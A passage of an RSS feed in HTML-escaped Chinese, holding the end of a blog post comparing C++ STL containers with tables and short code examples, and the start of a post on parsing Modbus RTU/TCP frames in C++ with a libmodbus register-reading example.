target=&quot;_self&quot;&gt;3.3 priority_queue优先队列&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#41__83&quot; target=&quot;_self&quot;&gt;4.1 预分配内存&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#42__88&quot; target=&quot;_self&quot;&gt;4.2 移动语义&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;#43__94&quot; target=&quot;_self&quot;&gt;4.3 哈希表负载因子&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br/&gt; C++标准模板库（STL）提供了丰富的容器类型，用于高效管理数据集合。本文将从核心容器特性、性能对比、代码示例及场景推荐四个维度，深度解析常用STL容器的应用技巧。&lt;h4&gt;&lt;a name=&quot;t1&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_2&quot;&gt;&lt;/a&gt;一、核心容器分类与特性&lt;/h4&gt;&lt;h5&gt;&lt;a id=&quot;11__3&quot;&gt;&lt;/a&gt;1.1 顺序容器&lt;/h5&gt;&lt;div class=&quot;table-box&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;容器&lt;/th&gt;&lt;th&gt;底层结构&lt;/th&gt;&lt;th&gt;核心特性&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;vector&lt;/td&gt;&lt;td&gt;动态数组&lt;/td&gt;&lt;td&gt;随机访问O(1)，尾部插入高效，中间操作需移动元素&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;deque&lt;/td&gt;&lt;td&gt;分块数组&lt;/td&gt;&lt;td&gt;头尾插入O(1)，随机访问略慢于vector，内存非严格连续&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;list&lt;/td&gt;&lt;td&gt;双向链表&lt;/td&gt;&lt;td&gt;任意位置插入/删除O(1)，支持稳定迭代器，内存不连续&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;h5&gt;&lt;a id=&quot;12__9&quot;&gt;&lt;/a&gt;1.2 关联容器&lt;/h5&gt;&lt;div class=&quot;table-box&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;容器&lt;/th&gt;&lt;th&gt;底层结构&lt;/th&gt;&lt;th&gt;核心特性&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;map/set&lt;/td&gt;&lt;td&gt;红黑树&lt;/td&gt;&lt;td&gt;自动排序，查找/插入/删除O(log n)，键唯一&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;unordered_*&lt;/td&gt;&lt;td&gt;哈希表&lt;/td&gt;&lt;td&gt;平均O(1)操作，元素无序，哈希冲突影响性能&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;h5&gt;&lt;a id=&quot;13__14&quot;&gt;&lt;/a&gt;1.3 容器适配器&lt;/h5&gt;&lt;div class=&quot;table-box&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;容器&lt;/th&gt;&lt;th&gt;适配对象&lt;/th&gt;&lt;th&gt;核心特性&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;stack/queue&lt;/td&gt;&lt;td&gt;deque/list&lt;/td&gt;&lt;td&gt;后进先出（LIFO）或先进先出（FIFO），仅限特定端点操作&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;priority_queue&lt;/td&gt;&lt;td&gt;vector&lt;/td&gt;&lt;td&gt;基于堆结构，自动维护优先级，插入/删除O(log n)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;h4&gt;&lt;a name=&quot;t2&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_19&quot;&gt;&lt;/a&gt;二、性能对比与选择策略&lt;/h4&gt;&lt;h5&gt;&lt;a id=&quot;21__20&quot;&gt;&lt;/a&gt;2.1 关键操作时间复杂度&lt;/h5&gt;&lt;div class=&quot;table-box&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;操作&lt;/th&gt;&lt;th&gt;vector&lt;/th&gt;&lt;th&gt;deque&lt;/th&gt;&lt;th&gt;list&lt;/th&gt;&lt;th&gt;map&lt;/th&gt;&lt;th&gt;unordered_map&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;随机访问&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;头部插入&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;尾部插入&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;中间插入&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;查找（有序）&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(n)&lt;/td&gt;&lt;td&gt;O(log n)&lt;/td&gt;&lt;td&gt;O(1)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;h5&gt;&lt;a id=&quot;22__28&quot;&gt;&lt;/a&gt;2.2 选择建议&lt;/h5&gt;&lt;ol class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;随机访问频繁 → vector或deque&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;高频中间插入/删除 → list或forward_list&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;需要排序或范围查询 → map/set&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;极速查找（无需排序） → unordered_map/unordered_set&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;内存敏感场景 → 优先vector（缓存友好）或自定义分配器&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h4&gt;&lt;a name=&quot;t3&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_34&quot;&gt;&lt;/a&gt;三、代码示例与应用场景&lt;/h4&gt;&lt;h5&gt;&lt;a id=&quot;31_vector_35&quot;&gt;&lt;/a&gt;3.1 &lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;vector&quot; data-pretit=&quot;vector&quot;&gt;vector&lt;/span&gt;动态数组&lt;/h5&gt;&lt;p&gt;场景：数据缓存、&lt;a href=&quot;https://so.csdn.net/so/search?q=%E6%95%B0%E5%AD%A6%E8%BF%90%E7%AE%97&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E6%95%B0%E5%AD%A6%E8%BF%90%E7%AE%97&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;数学运算\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;数学运算&quot; data-pretit=&quot;数学运算&quot;&gt;数学运算&lt;/a&gt;&lt;/p&gt;&lt;pre data-index=&quot;0&quot; class=&quot;prism-highlight prism-language-cpp&quot; name=&quot;code&quot;&gt;#include&amp;nbsp;&amp;lt;vector&amp;gt;
#include&amp;nbsp;&amp;lt;algorithm&amp;gt;
int&amp;nbsp;main()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::vector&amp;lt;int&amp;gt;&amp;nbsp;nums{3,&amp;nbsp;1,&amp;nbsp;4,&amp;nbsp;1,&amp;nbsp;5};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nums.push_back(9);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;尾部插入
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::sort(nums.begin(),&amp;nbsp;nums.end());&amp;nbsp;//&amp;nbsp;排序&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;输出：1&amp;nbsp;1&amp;nbsp;3&amp;nbsp;4&amp;nbsp;5&amp;nbsp;9&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;(auto&amp;nbsp;num&amp;nbsp;:&amp;nbsp;nums)&amp;nbsp;std::cout&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;num&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;&amp;nbsp;&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;0;
}&lt;/pre&gt;&lt;h5&gt;&lt;a id=&quot;32_unordered_map_50&quot;&gt;&lt;/a&gt;3.2 unordered_map哈希表&lt;/h5&gt;&lt;p&gt;场景：&lt;a href=&quot;https://so.csdn.net/so/search?q=%E8%AF%8D%E9%A2%91%E7%BB%9F%E8%AE%A1&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E8%AF%8D%E9%A2%91%E7%BB%9F%E8%AE%A1&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;词频统计\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;词频统计&quot; data-pretit=&quot;词频统计&quot;&gt;词频统计&lt;/a&gt;、缓存系统&lt;/p&gt;&lt;pre data-index=&quot;1&quot; class=&quot;new-version set-code-height prettyprint set-code-show&quot; name=&quot;code&quot;&gt;#include&amp;nbsp;&amp;lt;unordered_map&amp;gt;
#include&amp;nbsp;&amp;lt;string&amp;gt;
int&amp;nbsp;main()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::unordered_map&amp;lt;std::string,&amp;nbsp;int&amp;gt;&amp;nbsp;word_count;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;word_count[&amp;quot;apple&amp;quot;]&amp;nbsp;=&amp;nbsp;5;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;插入键值对
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;word_count[&amp;quot;banana&amp;quot;]++;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;更新计数&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;查找是否存在&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(word_count.find(&amp;quot;orange&amp;quot;)&amp;nbsp;==&amp;nbsp;word_count.end())&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::cout&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;Orange&amp;nbsp;not&amp;nbsp;found!\n&amp;quot;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/pre&gt;&lt;h5&gt;&lt;a id=&quot;33_priority_queue_67&quot;&gt;&lt;/a&gt;3.3 priority_queue优先队列&lt;/h5&gt;&lt;p&gt;场景：任务调度、Dijkstra算法&lt;/p&gt;&lt;pre data-index=&quot;2&quot; class=&quot;prism-highlight prism-language-cpp&quot; name=&quot;code&quot;&gt;#include&amp;nbsp;&amp;lt;queue&amp;gt;
int&amp;nbsp;main()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::priority_queue&amp;lt;int&amp;gt;&amp;nbsp;max_heap;&amp;nbsp;//&amp;nbsp;默认大顶堆
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;max_heap.push(30);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;max_heap.push(10);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;max_heap.push(50);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;输出优先级最高元素：50
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::cout&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;Top:&amp;nbsp;&amp;quot;&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;max_heap.top()&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;\n&amp;quot;;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;0;
&amp;nbsp;}&lt;/pre&gt;&lt;h4&gt;&lt;a name=&quot;t4&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_82&quot;&gt;&lt;/a&gt;四、高级优化技巧&lt;/h4&gt;&lt;h5&gt;&lt;a id=&quot;41__83&quot;&gt;&lt;/a&gt;4.1 预分配&lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;内存&quot; data-pretit=&quot;内存&quot;&gt;内存&lt;/span&gt;&lt;/h5&gt;&lt;pre data-index=&quot;3&quot; class=&quot;prism-highlight prism-language-cpp&quot; name=&quot;code&quot;&gt;std::vector&amp;lt;int&amp;gt;&amp;nbsp;vec;
vec.reserve(1000);&amp;nbsp;&amp;nbsp;//&amp;nbsp;避免多次扩容&lt;/pre&gt;&lt;h5&gt;&lt;a id=&quot;42__88&quot;&gt;&lt;/a&gt;4.2 移动语义&lt;/h5&gt;&lt;p&gt;使用std::move减少拷贝开销（适用于含资源的对象）：&lt;/p&gt;&lt;pre data-index=&quot;4&quot; class=&quot;new-version set-code-show prettyprint&quot; name=&quot;code&quot;&gt;std::vector&amp;lt;std::string&amp;gt;&amp;nbsp;words;
words.push_back(std::move(large_str));&lt;/pre&gt;&lt;h5&gt;&lt;a id=&quot;43__94&quot;&gt;&lt;/a&gt;4.3 哈希表负载因子&lt;/h5&gt;&lt;p&gt;调整unordered_map性能：&lt;/p&gt;&lt;pre data-index=&quot;5&quot; class=&quot;prism-highlight prism-language-cpp&quot; name=&quot;code&quot;&gt;std::unordered_map&amp;lt;int,&amp;nbsp;int&amp;gt;&amp;nbsp;map;map.max_load_factor(0.5);&amp;nbsp;&amp;nbsp;//&amp;nbsp;降低冲突概率AI&lt;/pre&gt;&lt;h4&gt;&lt;a name=&quot;t5&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_100&quot;&gt;&lt;/a&gt;五、总结与扩展&lt;/h4&gt;&lt;div class=&quot;table-box&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;需求类型&lt;/th&gt;&lt;th&gt;推荐容器&lt;/th&gt;&lt;th&gt;备注&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;高频随机访问&lt;/td&gt;&lt;td&gt;vector&lt;/td&gt;&lt;td&gt;优先选择&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;双端操作&lt;/td&gt;&lt;td&gt;deque&lt;/td&gt;&lt;td&gt;替代vector+list组合&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;稳定迭代器&lt;/td&gt;&lt;td&gt;list&lt;/td&gt;&lt;td&gt;避免中间插入导致失效&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;有序数据存储&lt;/td&gt;&lt;td&gt;map/set&lt;/td&gt;&lt;td&gt;支持范围查询&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;极速查找&lt;/td&gt;&lt;td&gt;unordered_map&lt;/td&gt;&lt;td&gt;需注意哈希函数质量&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;p&gt;建议结合具体场景进行性能测试，例如使用Google &lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;Benchmark&quot; data-pretit=&quot;benchmark&quot;&gt;Benchmark&lt;/span&gt;库对不同容器进行压力测试。对于多线程环境，可考虑Intel TBB库中的并发容器（如concurrent_hash_map）。&lt;/p&gt;&lt;/div&gt;</description><pubDate>Mon, 29 Sep 2025 17:05:17 +0800</pubDate></item><item><title>基于C++处理Modbus报文的完整指南</title><link>http://blog.write.yingkecut.cn/?id=32</link><description>&lt;div class=&quot;toc&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;h4&gt;目录&lt;/h4&gt;&lt;ul class=&quot; list-paddingleft-2&quot;&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#_Modbus_1&quot; target=&quot;_self&quot;&gt;📦 一、Modbus报文结构解析&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#_C_18&quot; target=&quot;_self&quot;&gt;🔧 二、C++实现方案与库选择&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#__44&quot; target=&quot;_self&quot;&gt;⚙️ 三、核心处理技术&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#__84&quot; target=&quot;_self&quot;&gt;🚀 四、高级应用场景&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#_Qt_108&quot; target=&quot;_self&quot;&gt;💻 五、完整代码示例-Qt库（读取温度传感器）&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#__135&quot; target=&quot;_self&quot;&gt;⚠️ 六、工业实践注意事项&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#1_RTU_2&quot; target=&quot;_self&quot;&gt;1. RTU模式帧格式&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#2_TCP_10&quot; target=&quot;_self&quot;&gt;2. TCP模式帧格式&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#1libmodbus_TCP_24&quot; target=&quot;_self&quot;&gt;示例1：libmodbus读取保持寄存器 (TCP)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#1__45&quot; target=&quot;_self&quot;&gt;1. 报文构建与发送&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#2__60&quot; target=&quot;_self&quot;&gt;2. 响应解析与错误处理&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#3__72&quot; target=&quot;_self&quot;&gt;3. 数据类型转换&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#1__85&quot; target=&quot;_self&quot;&gt;1. 多线程事务管理&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://localhost:52330/test.html#2__103&quot; target=&quot;_self&quot;&gt;2. 性能优化策略&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t1&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_Modbus_1&quot;&gt;&lt;/a&gt;📦 一、&lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;Modbus&quot; data-pretit=&quot;modbus&quot;&gt;Modbus&lt;/span&gt;报文结构解析&lt;/h4&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;1_RTU_2&quot;&gt;&lt;/a&gt;1. RTU模式帧格式&lt;/h5&gt;&lt;pre data-index=&quot;0&quot; class=&quot;new-version set-code-show prettyprint&quot; name=&quot;code&quot;&gt;[设备地址][功能码][数据][CRC校验]&lt;/pre&gt;&lt;ul style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;设备地址：1字节，标识从机&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;功能码：1字节（如0x03读保持寄存器）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;数据域：可变长度（寄存器地址、数量或写入值）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;CRC校验：2字节（循环冗余校验）&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;2_TCP_10&quot;&gt;&lt;/a&gt;2.&amp;nbsp;&lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;TCP&quot; data-pretit=&quot;tcp&quot;&gt;TCP&lt;/span&gt;模式帧格式&lt;/h5&gt;&lt;pre data-index=&quot;1&quot; class=&quot;new-version set-code-show prettyprint&quot; name=&quot;code&quot;&gt;[事务ID][协议ID][长度][设备地址][功能码][数据]&lt;/pre&gt;&lt;ul style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;事务ID：2字节（请求/响应匹配）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;协议ID：2字节（固定0x0000）&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;长度：2字节（后续报文总长度）&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;hr style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t2&quot;&gt;&lt;/a&gt;&lt;a id=&quot;_C_18&quot;&gt;&lt;/a&gt;🔧 二、C++实现方案与库选择&lt;/h4&gt;&lt;div class=&quot;table-box&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;th&gt;库名称&lt;/th&gt;&lt;th&gt;适用场景&lt;/th&gt;&lt;th&gt;特点&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;libmodbus&lt;/td&gt;&lt;td&gt;RTU/TCP跨平台&lt;/td&gt;&lt;td&gt;开源、支持主从模式&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;modbus-tcp-cpp&lt;/td&gt;&lt;td&gt;纯TCP通信&lt;/td&gt;&lt;td&gt;轻量级、现代C++封装&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;QModbus&lt;/td&gt;&lt;td&gt;Qt项目集成&lt;/td&gt;&lt;td&gt;信号槽机制、GUI友好&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;1libmodbus_TCP_24&quot;&gt;&lt;/a&gt;示例1：libmodbus读取保持寄存器 (TCP)&lt;/h5&gt;&lt;pre data-index=&quot;2&quot; name=&quot;code&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;#include&amp;nbsp;&amp;lt;modbus/modbus.h&amp;gt;int&amp;nbsp;main()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;modbus_t&amp;nbsp;*ctx&amp;nbsp;=&amp;nbsp;modbus_new_tcp(&amp;quot;192.168.1.10&amp;quot;,&amp;nbsp;502);&amp;nbsp;&amp;nbsp;//&amp;nbsp;创建TCP连接
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(modbus_connect(ctx)&amp;nbsp;==&amp;nbsp;-1)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;连接检查
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::cerr&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;Connection&amp;nbsp;failed:&amp;nbsp;&amp;quot;&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;modbus_strerror(errno);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;-1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;uint16_t&amp;nbsp;regs[10];
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;rc&amp;nbsp;=&amp;nbsp;modbus_read_registers(ctx,&amp;nbsp;0,&amp;nbsp;5,&amp;nbsp;regs);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;读地址0开始的5个寄存器
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(rc&amp;nbsp;==&amp;nbsp;-1)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;std::cerr&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;&amp;quot;Read&amp;nbsp;error:&amp;nbsp;&amp;quot;&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;modbus_strerror(errno);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
